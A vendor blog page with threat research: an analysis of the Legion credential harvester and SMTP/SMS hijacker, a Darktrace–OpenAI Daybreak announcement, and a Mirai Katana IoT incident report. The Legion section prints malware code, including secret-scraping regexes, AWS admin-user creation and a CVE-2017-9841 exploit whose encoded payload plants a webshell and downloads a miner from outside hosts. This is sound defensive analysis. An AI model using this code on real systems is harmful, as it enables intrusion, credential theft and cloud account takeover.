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April 13, 2023

Legion: An AWS Credential Harvester and SMTP Hijacker

Cado Security Labs researchers (now part of Darktrace) encountered Legion, an emerging Python-based credential harvester and hacktool. Legion exploits various services for the purpose of email abuse.
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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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Apr 2023

Introduction

Cado Security Labs researchers (now part of Darktrace) encountered an emerging Python-based credential harvester and hacktool, named Legion, aimed at exploiting various services for the purpose of email abuse.  

The tool is sold via the Telegram messenger, and includes modules dedicated to:

  • enumerating vulnerable SMTP servers
  • conducting Remote Code Execution (RCE)
  • exploiting vulnerable versions of Apache
  • brute-forcing cPanel and WebHost Manager (WHM) accounts
  • interacting with Shodan’s API to retrieve a target list (provided you supply an API key)  
  • additional utilities, many of which involve abusing AWS services
Legion splash screen
Figure 1: Legion splash screen

The sample encountered by researchers appears to be related to another malware called AndroxGh0st [1]. At the time of writing, it had no detections on VirusTotal [2].

Screen
Figure 2: No open-source intelligence (OSINT) detections for legion.py.

Legion.py background

The sample itself is a rather long (21,015 line) Python3 script. Initial static analysis shows that the malware includes configurations for integrating with services such as Twilio and Shodan - more on this later. Telegram support is also included, with the ability to pipe the results of each of the modules into a Telegram chat via the Telegram Bot API.

  cfg['SETTINGS'] = {} 
  cfg['SETTINGS']['EMAIL_RECEIVER'] = 'put your email' 
  cfg['SETTINGS']['DEFAULT_TIMEOUT'] = '20' 
  cfg['TELEGRAM'] = {} 
  cfg['TELEGRAM']['TELEGRAM_RESULTS'] = 'on' 
  cfg['TELEGRAM']['BOT_TOKEN'] = 'bot token telegram' 
  cfg['TELEGRAM']['CHAT_ID'] = 'chat id telegram' 
  cfg['SHODAN'] = {} 
  cfg['SHODAN']['APIKEY'] = 'ADD YOUR SHODAN APIKEY' 
  cfg['TWILIO'] = {} 
  cfg['TWILIO']['TWILIOAPI'] = 'ADD YOUR TWILIO APIKEY' 
  cfg['TWILIO']['TWILIOTOKEN'] = 'ADD YOUR TWILIO AUTHTOKEN' 
  cfg['TWILIO']['TWILIOFROM'] = 'ADD YOUR FROM NUMBER' 
  cfg['SCRAPESTACK'] = {} 
  cfg['SCRAPESTACK']['SCRAPESTACK_KEY'] = 'scrapestack_key' 
  cfg['AWS'] = {} 
  cfg['AWS']['EMAIL'] = 'put your email AWS test' 

Legion.py - default configuration parameters

As mentioned above, the malware itself appears to be distributed via a public Telegram group. The sample also included references to a Telegram user with the handle “myl3gion”. At the time of writing, researchers accessed the Telegram group to determine whether additional information about the campaign could be discovered.  

Rather amusingly, one of the only recent messages was from the group owner warning members that the user myl3gion was in fact a scammer. There is no additional context to this claim, but it appears that the sample encountered was “illegitimately” circulated by this user.

Scam warning
Figure 3: Scam warning from Telegram group administrator

At the time of writing, the group had 1,090 members and the earliest messages were from February 2021.  

Researchers also encountered a YouTube channel named “Forza Tools”, which included a series of tutorial videos for using Legion. The fact that the developer behind the tool has made the effort of creating these videos, suggests that the tool is widely distributed and is likely paid malware.  

Forza tools youtube channel
Figure 4: Forza Tools YouTube Channel

Functionality

It’s clear from a cursory glance at the code, and from the YouTube tutorials described above, that the Legion credential harvester is primarily concerned with the exploitation of web servers running Content Management Systems (CMS), PHP, or PHP-based frameworks, such as Laravel.  

From these targeted servers, the tool uses a number of RegEx patterns to extract credentials for various web services. These include credentials for email providers, cloud service providers (i.e. AWS), server management systems, databases and payment systems - such as Stripe and PayPal. Typically, this type of tool would be used to hijack said services and use the infrastructure for mass spamming or opportunistic phishing campaigns.  

Additionally, the malware also includes code to implant webshells, brute-force CPanel or AWS accounts and send SMS messages to a list of dynamically-generated US mobile numbers.

Credential harvesting

Legion contains a number of methods for retrieving credentials from misconfigured web servers. Depending on the web server software, scripting language or framework the server is running, the malware will attempt to request resources known to contain secrets, parse them and save the secrets into results files sorted on a per-service basis.  

One such resource is the .env environment variables file, which often contains application-specific secrets for Laravel and other PHP-based web applications. The malware maintains a list of likely paths to this file, as well as similar files and directories for other web technologies. Examples of these can be seen in the table below.

Apache

/_profiler/phpinfo

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/.aws/credentials

/config/aws.yml

/symfony/public/_profiler/phpinfo  

Laravel

/conf/.env

/wp-content/.env

/library/.env

/vendor/.env

/api/.env

/laravel/.env

/sites/all/libraries/mailchimp/.env

Generic debug paths

/debug/default/view?panel=config

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/web/debug/default/view

/sapi/debug/default/view

/wp-config.php-backup

# grab password 
if 'DB_USERNAME=' in text: 
        method = './env' 
        db_user = re.findall("\nDB_USERNAME=(.*?)\n", text)[0] 
        db_pass = re.findall("\nDB_PASSWORD=(.*?)\n", text)[0] 
elif '<td>DB_USERNAME</td>' in text: 
        method = 'debug' 
        db_user = re.findall('<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 
        db_pass = re.findall('<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 

Example of RegEx parsing code to retrieve database credentials from requested resources

if '<td>#TWILIO_SID</td>' in text: 
                  acc_sid = re.findall('<td>#TWILIO_SID<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  auhtoken = re.findall('<td>#TWILIO_AUTH<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  build = cleanit(url + '|' + acc_sid + '|' + auhtoken) 
                  remover = str(build).replace('\r', '') 
                  print(f"{yl}☆ [{gr}{ntime()}{red}] {fc}╾┄╼ {gr}TWILIO {fc}[{yl}{acc_sid}{res}:{fc}{acc_key}{fc}]") 
                  save = open(o_twilio, 'a') 
                  save.write(remover+'\n') 
                  save.close() 

Example of RegEx parsing code to retrieve Twilio secrets from requested resources

A full list of the services the malware attempts to extract credentials for can be seen in the table below.

Services targeted

  • Twilio
  • Nexmo
  • Stripe/Paypal (payment API function)
  • AWS console credentials
  • AWS SNS, S3 and SES specific credentials
  • Mailgun
  • Plivo
  • Clicksend
  • Mandrill
  • Mailjet
  • MessageBird
  • Vonage
  • Nexmo
  • Exotel
  • Onesignal
  • Clickatel
  • Tokbox
  • SMTP credentials
  • Database Administration and CMS credentials (CPanel, WHM, PHPmyadmin)

AWS features

As discussed in the previous section, Legion will attempt to retrieve credentials from insecure or misconfigured web servers. Of particular interest to those in cloud security is the malware’s ability to retrieve AWS credentials.  

Not only does the malware claim to harvest these from target sites, but it also includes a function dedicated to brute-forcing AWS credentials - named aws_generator().

def aws_generator(self, length, region): 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","/","/"] 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] 
    def aws_id(): 
        output = "AKIA" 
        for i in range(16): 
            output += random.choice(chars[0:38]).upper() 
        return output 
    def aws_key(): 
        output = "" 
        for i in range(40): 
            if i == 0 or i == 39: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars[0:38])]) 
            else: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars)]) 
        return output 
    self.show_info_message(message="Generating Total %s Of AWS Key, Please Wait....." % length) 

Example of AWS credential generation code

This is consistent with external analysis of AndroxGh0st [1], which similarly concludes that it seems statistically unlikely this functionality would result in usable credentials. Similar code for brute-forcing SendGrid (an email marketing company) credentials is also included.

Regardless of how credentials are obtained, the malware attempts to add an IAM user with the hardcoded username of ses_legion. Interestingly, in this sample of Legion the malware also tags the created user with the key “Owner” and a hardcoded value of “ms.boharas”.

def create_new_user(iam_client, user_name='ses_legion'): 
        user = None 
        try: 
                user = iam_client.create_user( 
                        UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        user_name = 'ses_{}'.format(result_str) 
                        user = iam_client.create_user(UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        return user_name, user 

IAM user creation and tagging code

An IAM group named SESAdminGroup is then created and the newly created user is added. From there, Legion attempts to create a policy based on the Administrator Access [3] Amazon managed policy. This managed policy allows full access and can delegate permissions to all services and resources within AWS. This includes the management console, providing access has been activated for the user.

def creat_new_group(iam_client, group_name='SESAdminGroup'): 
        try: 
                res = iam_client.create_group(GroupName=group_name) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        group_name = "SESAdminGroup{}".format(result_str) 
                        res = iam_client.create_group(GroupName=group_name) 
        return res['Group']['GroupName']
def creat_new_policy(iam_client, policy_name='AdministratorAccess'): policy_json = {"Version": "2012-10-17","Statement": [{"Effect": "Allow", "Action": "*","Resource": "*"}]} try: res = iam_client.create_policy( PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() policy_name = "AdministratorAccess{}".format(result_str) res = iam_client.create_policy(PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) return res['Policy']['Arn'] 

IAM group and policy creation code

Consistent with the assumption that Legion is primarily concerned with cracking email services, the malware attempts to use the newly created AWS IAM user to query Amazon Simple Email Service (SES) quota limits and even send a test email.

def check(countsd, key, secret, region): 
        try: 
                out = '' 
                client = boto3.client('ses', aws_access_key_id=key, aws_secret_access_key=secret, region_name=region) 
                try: 
                        response = client.get_send_quota() 
                        frommail = client.list_identities()['Identities'] 
                        if frommail: 
                                SUBJECT = "AWS Checker By @mylegion (Only Private Tools)" 
                                BODY_TEXT = "Region: {region}\r\nLimit: {limit}|{maxsendrate}|{last24}\r\nLegion PRIV8 Tools\r\n".format(key=key, secret=secret, region=region, limit=response['Max24HourSend']) 
                                CHARSET = "UTF-8" 
                                _to = emailnow 

SMS hijacking capability

One feature of Legion not covered by previous research is the ability to deliver SMS spam messages to users of mobile networks in the US. To do this, the malware retrieves the area code for a US state of the user’s choosing from the website www.randomphonenumbers.com.  

To retrieve the area code, Legion uses Python’s BeautifulSoup HTML parsing library. A rudimentary number generator function is then used to build up a list of phone numbers to target.

def generate(self): 
    print('\n\n\t{0}╭╼[ {1}Starting Service {0}]\n\t│'.format(fg[5], fg[6])) 
    url = f'https://www.randomphonenumbers.com/US/random_{self.state}_phone_numbers'.replace(' ', '%20') 
    print('\t{0}│ [ {1}WEBSITE LOADED{0} ] {2}{3}{0}'.format(fg[5], fg[2], fg[1], url)) 
    query = requests.get(url) 
    soup = BeautifulSoup(query.text, 'html.parser') 
    list = soup.find_all('ul')[2] 
    urls = [] 
    for a in list.find_all('a', href=True): 
        url = f'https://www.randomphonenumbers.com{a["href"]}' 
        print('\t{0}│ [ {1}PARSING URLS{0}   ] {2}{3}'.format(fg[5], fg[2], fg[1], url), end='\r') 
        urls.append(url) 
        time.sleep(0.01) 
    print(' ' * 100, end='\r') 
    print('\t{0}│ [ {1}URLS PARSED{0}    ] {2}{3}\n\t│'.format(fg[5], fg[3], fg[1], len(urls)), end='\r')
def generate_number(area_code, carrier): for char in string.punctuation: carrier = carrier.replace(char, ' ') numbers = '' for number in [area_code + str(x) for x in range(0000, 9999)]: if len(number) != 10: gen = number.split(area_code)[1] number = area_code + str('0' * (10-len(area_code)-len(gen))) + gen numbers += number + '\n' with open(f'Generator/Carriers/{carrier}.txt', 'a+') as file: file.write(numbers)  

Web scraping and phone number generation code

To send the SMS messages themselves, the malware checks for saved SMTP credentials retrieved by one of the credential harvesting modules. Targeted carriers are listed below:

US Mobile Carriers

  • Alltel
  • Amp'd Mobile
  • AT&T
  • Boost Mobile
  • Cingular
  • Cricket
  • Einstein PCS
  • Sprint
  • SunCom
  • T-Mobile
  • VoiceStream
  • US Cellular
  • Verizon
  • Virgin
while not is_prompt: 
    print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Choose Carrier to SPAM{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
    try: 
        prompt = int(input('')) 
        if prompt in [int(x) for x in carriers.keys()]: 
            self.carrier = carriers[str(prompt)] 
            is_prompt = True 
        else: 
            print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
            time.sleep(1) 
    except ValueError: 
        print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
        time.sleep(1) 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter your message {0}| {2}160 Max Characters{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.message = input('') 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter sender email{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.sender_email = input('') 

Carrier selection code example

PHP exploitation

Not content with simply harvesting credentials for the purpose of email and SMS spamming, Legion also includes traditional hacktool functionality. One such feature is the ability to exploit well-known PHP vulnerabilities to register a webshell or remotely execute malicious code.

The malware uses several methods for this. One such method is posting a string preceded by <?php and including base64-encoded PHP code to the path "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php". This is a well-known PHP unauthenticated RCE vulnerability, tracked as CVE-2017-9841. It’s likely that Proof of Concept (PoC) code for this vulnerability was found online and integrated into the malware.

path = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 
url = url + path 
phpinfo = "<?php phpinfo(); ?>" 
try: 
    requester_1 = requests.post(url, data=phpinfo, timeout=15, verify=False) 
    if "phpinfo()" in requester_1.text: 
        payload_ = '<?php $root = $_SERVER["DOCUMENT_ROOT"]; $myfile = fopen($root . "/'+pathname+'", "w") or die("Unable to open file!"); $code = "PD9waHAgZWNobyAnPGNlbnRlcj48aDE+TEVHSU9OIEVYUExPSVQgVjQgKE7Eg3ZvZGFyaSBQb3dlcik8L2gxPicuJzxicj4nLidbdW5hbWVdICcucGhwX3VuYW1lKCkuJyBbL3VuYW1lXSAnO2VjaG8nPGZvcm0gbWV0aG9kPSJwb3N0ImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPic7ZWNobyc8aW5wdXQgdHlwZT0iZmlsZSJuYW1lPSJmaWxlIj48aW5wdXQgbmFtZT0iX3VwbCJ0eXBlPSJzdWJtaXQidmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddPT0iVXBsb2FkIil7aWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7ZWNobyc8Yj5MRUdJT04gRXhwbG9pdCBTdWNjZXNzITwvYj4nO31lbHNle2VjaG8nPGI+TEVHSU9OIEV4cGxvaXQgU3VjY2VzcyE8L2I+Jzt9fSBzeXN0ZW0oJ2N1cmwgLXMgLWsgMi41Ny4xMjIuMTEyL3JjZS9sb2FkIC1vIGFkaW5kZXgucGhwOyBjZCAvdG1wOyBjdXJsIC1PIDkxLjIxMC4xNjguODAvbWluZXIuanBnOyB0YXIgeHp2ZiBtaW5lci5qcGcgPiAvZGV2L251bGw7IHJtIC1yZiBtaW5lci5qcGc7IGNkIC54OyAuL3ggPiAvZGV2L251bGwnKTsKPz4="; fwrite($myfile, base64_decode($code)); fclose($myfile); echo("LEGION EXPLOIT V3"); ?>' 
        send_payload = requests.post(url, data=payload_, timeout=15, verify=False) 
        if "LEGION EXPLOIT V3" in send_payload.text: 
            status_exploit = "Successfully" 
        else: 
            status_exploit = "Can't exploit" 
    else: 
        status_exploit = "May not vulnerable"

Key takeaways

Legion is a general-purpose credential harvester and hacktool, designed to assist in compromising services for conducting spam operations via SMS and SMTP.  

Analysis of the Telegram groups in which this malware is advertised suggests a relatively wide distribution. Two groups monitored by Cado researchers had a combined total of 5,000 members. While not every member will have purchased a license for Legion, these numbers show that interest in such a tool is high. Related research indicates that there are a number of variants of this malware, likely with their own distribution channels.  

Throughout the analyzed code, researchers encountered several Indonesian-language comments, suggesting that the developer may either be Indonesian themselves or based in Indonesia. In a function dedicated to PHP exploitation, a link to a GitHub Gist leads to a user named Galeh Rizky. This user’s profile suggests that they are located in Indonesia, which ties in with the comments seen throughout the sample. It’s not clear whether Galeh Rizky is the developer behind Legion, or if their code just happens to be included in the sample.

Since this malware relies heavily on misconfigurations in web server technologies and frameworks such as Laravel, it’s recommended that users of these technologies review their existing security processes and ensure that secrets are appropriately stored. Ideally, if credentials are to be stored in a .env file, this should be stored outside web server directories so that it’s inaccessible from the web.  

For best practices on investigating and responding to threats in AWS cloud environments, check out our Ultimate Guide to Incident Response in AWS.

Indicators of compromise (IoCs)

Filename SHA256

legion.py fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a

legion.py (variant) 42109b61cfe2e1423b6f78c093c3411989838085d7e6a5f319c6e77b3cc462f3

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  

References

  1. https://www.fortinet.com/products/forticnapp
  2. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a
  3. https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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September 3, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

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Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

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September 3, 2026

Botnet Behind the Camera: Mirai Katana Activity on a Video Recording Device

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Key takeaways

  • Darktrace identified a camera device infected with the Mirai/Katana botnet in a sports-sector customer environment, showing how exposed IoT devices can become active participants in wider attack chains.
  • The compromise involved suspicious Wget behavior, file downloads from rare external IPs, unusual incoming HTTP connections to video recorder management interfaces, and large outbound data transfers to infrastructure associated with botnet activity.
  • The incident highlights the importance of extending visibility and response beyond traditional endpoints, as unmanaged or overlooked connected devices can be exploited for command-and-control, malware delivery, and data exfiltration.

Mirai and the Katana variant

Mirai is a botnet that first emerged in August 2016 and is well known for launching large-scale distributed-denial-of-service (DDoS) attacks, typically targeting exposed Internet of Things (IoT) devices. It identifies vulnerable IoT devices ,often by abusing default credentials or exposed services, and recruiting them into a remotely controlled botnet that can be used in DDoS campaigns [1].

Katana, one of the many variants that arose after Mirai’s source code was released publicly, was first observed in late 2020 and has been seen using more advanced capabilities, including custom command-and-control (C2), persistence mechanisms, and DDoS functionality [2].

In March 2026, research from the Nokia Deepfield Emergency Response Team (ERT) identified Katana as a Mirai-derived DDoS botnet targeting Android-based TV set-top boxes through exposed Android Debug Bridge (ADB) access.  Observed capabilities included custom C2, runtime domain rotation, multiple DDoS methods, and an on-device compiled kernel rootkit used for persistence and stealth [3].

Darktrace’s detection of Mirai Botnet activity on a camera device

In early 2026, Darktrace identified a Network/Digital Video Recorder (NVR/DVR) on the network of a sports-sector customer that had been infected with the Mirai Katana botnet and subsequently used to exfiltrate data from the customer’s environment. Seemingly related follow-up activity was observed on the same device several months later.

In both instances, the Darktrace Security Operations Centre (SOC) alerted the customer as part of the Managed Threat Detection (MTD) service. However, as Darktrace’s Autonomous Response capability was not fully enabled on the affected device, Darktrace was unable to proactively block the suspicious activity or prevent the compromise from continuing and recurring.

The initial compromise appears to have occurred when the affected device was seen using Wget to download Linux-based Executable and Linkable Format (ELF) files from a rare external IP, 195.177.94[.]105, which had not previously been observed in the customer’s network. Further analysis downloaded file hashes identified files related to the Mirai botnet.

Figure 1: Darktrace’s Real-Time AI Analyst investigation into the unusual outbound connection where the ELF files were downloaded.

Within a few hours, Darktrace detected the device uploading close to 3GB of data to another external IP, 50.7.49[.]4:3017 (ASN AS30058 FDCSERVERS), suggesting that the activity was likely routed via a virtual private server (VPS) hosted by FDC Servers [2]. Attackers often abuse VPS infrastructure from legitimate cloud providers to blend in with legitimate traffic and evade IP reputation and geolocation-based detections.

Figure 2:  Darktrace’s detection of the unusual data upload activity by the affected camera device.

Darktrace continued to observe similar data transfers to multiple rare endpoints  including 171.225.223[.]53, 95.161.128[.]62, 61.7.209[.]88, 95.161.128[.]62, which have been linked to Mirai by open-source intelligence (OSINT).

Figure 3: Darktrace’s detection of spikes in unusual external data transfer activity from the camera device.

Exploitation continued

Several months later, Darktrace identified the same exfiltration pattern on the device again, this time with stronger indications of associations with Mirai Katana botnet infection.

The device received incoming HTTP connections from 129.121.114[.]124, an external IP known to be associated with the Katana botnet IP [3]. The connections targeted the ‘/dvr/cmd’ path using the root username and user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246.

The ‘/dvr/cmd’ path appears to be associated with the affected device’s web management functionality. This API endpoint has historically been targeted by Mirai and other IoT botnets through the exploitation of critical command injection vulnerabilities and automated botnet exploitation [4].

Figure 4: Darktrace’s  detection of HTTP connectivity from the external IP associated with Mirai Katana Botnet.

A few days later, Darktrace observed the Wget utility being used to download ELF files, including “/lil”,  from the IP 129.121.114[.]124. OSINT reporting has since associated this IP address with the Mirai Katana botnet. Notably, the IP observed earlier in the year, 195.177.94[.]105, had also hosted a file named “lil”, indicating a link between the observed activity.

Over the following days, the device received a sudden spike in connections from multiple rare external endpoints, suggesting a possible successful brute force attack. Darktrace also observed the device exfiltrating just under 4GB of data to another Mirai-associated IP address,  66.92.198[.]194, over ports 3344, 954922, and 80. Finally, the device was seen uploading data to the Mirai botnet IP 5.175.249[.]53 over port138 and exhibited an increase in UDP connections to 34.18.28[.]10 over port 9068.

Following both file download events, Darktrace identified spikes in external data transfers and connection attempts to rare destinations. While Darktrace’s Threat Research team could not confirm with high confidence that this to activity was directly associated with Mirai, it may indicate that Mirai Katana includes data exfiltration functionality.

Darktrace’s threat researchers also identified an internet-facing NTP server belonging to a separate customer receiving incoming connection attempts from the same initially observed IP, 195.177.94[.]105,over the port 123. This suggests that Mirai Katana may not exclusively target IoT devices.

Conclusion

This case demonstrates how threat actors can exploit overlooked IoT and OT devices to support broader malicious objectives. Here, a camera device infected with a botnet was used to exfiltrate data from the customer's environment, showing how peripheral assets can become active participants in an attack chain.

This case also reinforces a challenge many organizations face today: extending security visibility beyond traditional endpoints and servers. Cameras, sensors, and other connected devices often operate with limited monitoring and may fall outside established security processes, despite maintaining network connectivity and access to potentially sensitive environments. This is particularly relevant in the sports sector, where growing reliance on connected cameras, smart stadium technologies, and other IoT devices continues to expand the attack surface, as highlighted in Darktrace's Sports Sector Threat Report.

As botnets like Kata and Mirai continue to evolve, defenders need visibility across unmanaged IoT and edge devices, as well as security solutions that can recognize subtle deviations in device behavior that may indicate an emerging compromise.

Credit to Parvatha Ananthakannan (Cyber Analyst), Signe Zaharka (Principal Analyst)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Multiple EXE from Rare External Locations

·      Device / Initial Attack Chain Activity

·      Unusual Activity / Unusual External Data to New Endpoint

·      Anomalous Connection / Data Sent to Rare Domain

·      Unusual Activity / Enhanced Unusual External Data Transfer

·      Anomalous Connection / Uncommon 1 GiB Outbound

·      Device / Significant UDP Increase

·      Anomalous Connection / Low and Slow Exfiltration to IP

·      Compromise / Large Number of Suspicious Failed Connections

·      Compromise / Large Number of Suspicious Successful Connections

·      Unusual Activity / Unusual External Activity

·      Compliance / SSH to Rare External Destination

·      Unusual Activity / Unusual DNS

·      Device / External Network Scan

·      Device / Suspicious DNS Activity

·      Device / Large Number of Model Alerts

List of Indicators of Compromise (IoCs)

Indicator of Compromise Type Description
195.177.94[.]105 IP C2 endpoint
50.7.49[.]4:30171 IP Possible C2 endpoint
129.121.114[.]124 IP C2 endpoint
hxxp://195.177.94[.]105/n3 URL Likely C2 endpoint
hxxp://195.177.94[.]105/n2 URL Likely C2 endpoint
hxxp://129.121.114[.]124/lil URL Likely C2 endpoint
hxxp://129.121.114[.]124/HHn URL Possible C2 endpoint
hxxp://129.121.114[.]124/JFc URL Possible C2 endpoint
hxxp://129.121.114[.]124/jum URL Likely C2 endpoint
hxxp://129.121.114[.]124/OaSf URL Likely C2 endpoint
hxxp://129.121.114[.]124/OPWg URL Possible C2 endpoint
hxxp://129.121.114[.]124/vHwK URL Possible C2 endpoint
hxxp://129.121.114[.]124/VLv URL Possible C2 endpoint
hxxp://129.121.114[.]124/WbJ URL Possible C2 endpoint
hxxp://129.121.114[.]124/zkR URL Possible C2 endpoint
Ab17883ae4c3bc6afa18c439166eeeb4b03186e3093d984e3a95f573e0fcb7d8 SHA-256 Mirai payload
3d587e809dac49d34a3f717e072fd0aebe5e71db63333e45c81577d6b4266f87 SHA-256 Mirai payload
Bf6e81733a7e209d3dce80d15bf3c5d300752d961fae6b45d90c9bbe7f8c89a2 SHA-256 Possible payload
f25488303813ab1ec0eaa71562938601aac185e8aaf93adb84522557f7cf4dd6 SHA-256 Possible payload
0cb4ff6b71f4423184bfa35c34e9090297637208b0e30205d4b224e56abde2ef SHA-256 Possible payload
19c24cbeaf06b2e7697083f33a85521a9315105c784691bde7420fde4cc69410 SHA-256 Likely Mirai payload
1e74f734fff8df91f4f7172d0de10c421eca78aeb800e8a48e16bc5dbde5d20e SHA-256 Possible payload
6e71f7763d1f29d5712106ebb122e281c32787540aa2342b0fe5351d585d18d7 SHA-256 Possible payload
71f4ff7cdb6d6a7d2673c543c5d2535093afbd707b20a5b9ddf735466c1105c1 SHA-256 Possible payload
76db7ee73ebf15e48a3cb24a074d92248671ef2c6ed3bc3e708377341fb7674d SHA-256 Possible payload
da87a65f7beb438e61f0b61964fed8aa305a380f569042f84c55eca8fa7929b8 SHA-256 Possible payload
e15809eb6ba66477175270d62cfa53e4bf278595f69938708c81c4bc457930fe SHA-256 Mirai payload

MITRE ATT&CK Mapping

Tactic Technique ID Technique / Sub-technique
Initial Access T1659 Content Injection
T1189 Drive-by Compromise
